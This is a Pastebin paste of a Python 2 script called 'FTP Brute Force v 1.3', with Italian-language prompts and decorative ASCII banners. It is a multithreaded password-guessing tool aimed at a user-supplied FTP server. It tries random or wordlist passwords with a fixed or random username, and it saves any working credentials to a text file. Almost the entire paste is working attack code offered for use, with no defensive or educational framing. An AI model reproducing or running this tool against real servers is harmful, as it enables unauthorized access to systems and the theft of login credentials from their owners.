Advertisement
Guest User

Untitled

a guest
Apr 7th, 2016
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.86 KB | None | 0 0
  1. import random
  2. import string
  3. import ftplib
  4. import os
  5. import threading
  6. import time
  7. from ftplib import FTP
  8.  
  9.  
  10. def clear():
  11. if os.name in ("nt", "dos", "ce"):
  12. os.system('title ........:::::FTP Brute Force v 1.3:::::........ coded by Xordas')
  13. os.system('color a')
  14. os.system('cls')
  15.  
  16.  
  17. clear()
  18. print ' .......:::FTP Brute Force v 1.3:::.......'
  19. print " ___________"
  20. print " |.---------.|"
  21. print " @)___||_ ||_______"
  22. print " {8*8888*888{______}spunk ||_______>"
  23. print " @) ||_________||"
  24. print " `----)-(----`"
  25. print " ____[=== o]___"
  26. print " |::::::::::::::|\ "
  27. print " `-============-`()"
  28. time.sleep(0.7)
  29. clear()
  30. print ' .......:::FTP Brute Force v 1.3:::.......'
  31. print ' __ __ _____ _____ _____ ___ _____ '
  32. print ' \ \ / / / _ \ | _ \ | _ \ / | / ___/ '
  33. print ' \ \/ / | | | | | |_| | | | | | / /| | | |___ '
  34. print ' } { | | | | | _ / | | | | / / | | \___ \ '
  35. print ' / /\ \ | |_| | | | \ \ | |_| | / / | | ___| | '
  36. print ' /_/ \_\ \_____/ |_| \_\ |_____/ /_/ |_| /_____/ '
  37. print ""
  38. print " Coded by Xordas."
  39. time.sleep(1.3)
  40. clear()
  41.  
  42.  
  43. Max_Win = 800
  44. Lock = threading.Lock()
  45. times = 0
  46.  
  47.  
  48. class Bruterforce(threading.Thread):
  49.  
  50.  
  51. def __init__(self, server, number):
  52. threading.Thread.__init__(self)
  53. self.srv = server
  54. self.num = number
  55.  
  56.  
  57. def run(self):
  58. global Lock
  59. Lock.acquire()
  60. print 'Starting thread #{0}'.format(self.num)
  61. Lock.release()
  62. chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
  63. while True:
  64. try:
  65. ftp_conn = FTP(self.srv)
  66. if username == '':
  67. count_chars = 1
  68. random_username = ''
  69. while count_chars <= random.randint(user_min, user_max):
  70. random_username = random_username + chars[random.randint(0, len(chars) - 1)]
  71. count_chars = count_chars + 1
  72. ftp_username = random_username
  73. else:
  74. ftp_username = username
  75.  
  76. if pass_list_mode == 0:
  77. count_chars = 1
  78. random_password = ''
  79. while count_chars <= random.randint(pass_min, pass_max):
  80. random_password = random_password + chars[random.randint(0, len(chars) - 1)]
  81. count_chars = count_chars + 1
  82. ftp_password = random_password
  83. elif pass_list_mode == 1:
  84. in_line = in_file.readline()
  85. if in_line == '':
  86. in_file.close()
  87. break
  88. in_line = in_line[:-1] # rnd = random.randrange(0, 2133190, 1)
  89. ftp_password = in_line
  90.  
  91. try:
  92. ftp_conn = FTP(self.srv)
  93. print '> Sto Provando Username: ' + ftp_username + '\t\tPassword :\t' + ftp_password + ''
  94. except ftplib.all_errors:
  95. print '> Connessione al server rifiutata...\n'
  96. pass
  97. try:
  98. ftp_conn.login(ftp_username, ftp_password)
  99. except ftplib.all_errors:
  100. pass
  101. else:
  102. print 'Ho trovato i dati!\nUsername: ' + ftp_username + '\nPassword: ' + ftp_password + '\nserver: ' + self.srv + '\n'
  103. null = raw_input("\nPremere invio per uscire e salvare i dati raccolti: ")
  104. out_file = open("Output.txt", "w")
  105. out_file.write('Username: ' + ftp_username + '\nPassword: ' + ftp_password + '\nserver: ' + self.srv + '\n')
  106. out_file.close()
  107. break
  108. ftp_conn.close()
  109. del ftp_conn
  110. except:
  111. print '> Connessione al server rifiutata...\n'
  112. pass
  113.  
  114. Lock.acquire()
  115. print 'Closing thread #{0}'.format(self.num)
  116. Lock.release()
  117.  
  118.  
  119.  
  120.  
  121. if __name__ == '__main__':
  122. ################################################################
  123. x = 1
  124. while x == 1:
  125. server = raw_input("> Inserisci l'indirizzo del server ex. lol.com : ")
  126. try:
  127. print "> Mi sto connettendo all'host. . ."
  128. ftp_conn = FTP(server)
  129. print "> Accesso consentito"
  130. x = 0
  131. except ftplib.all_errors:
  132. print '> Connessione a ' + server + ' fallita!\n'
  133.  
  134.  
  135. num_threads = input("> Inserisci il numero di threads: ")
  136. username = raw_input("\n> Inserisci l'username del login oppure, premi invio per randomizzare: ")
  137.  
  138. if username == '':
  139. user_min = input("\n> Inserisci la lunghezza minima dell'username: ")
  140. user_max = input("> Inserisci la lunghezza massima dell'username: ")
  141.  
  142.  
  143. pass_list_mode = input("\n> Digita '1' per utilizzare una lista password oppure '0' per randomizzare: ")
  144.  
  145. if pass_list_mode == 0:
  146. pass_min = input("\n> Inserisci la lunghezza minima della password: ")
  147. pass_max = input("> Inserisci la lunghezza massima della password: ")
  148. elif pass_list_mode == 1:
  149. lista = raw_input("> Trascina qui il file password_list.txt e premi invio: ")
  150. in_file = open(lista,"r")
  151.  
  152. ###################################################################
  153.  
  154.  
  155. for i in xrange(num_threads):
  156. Bruterforce(server, i + 1).start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement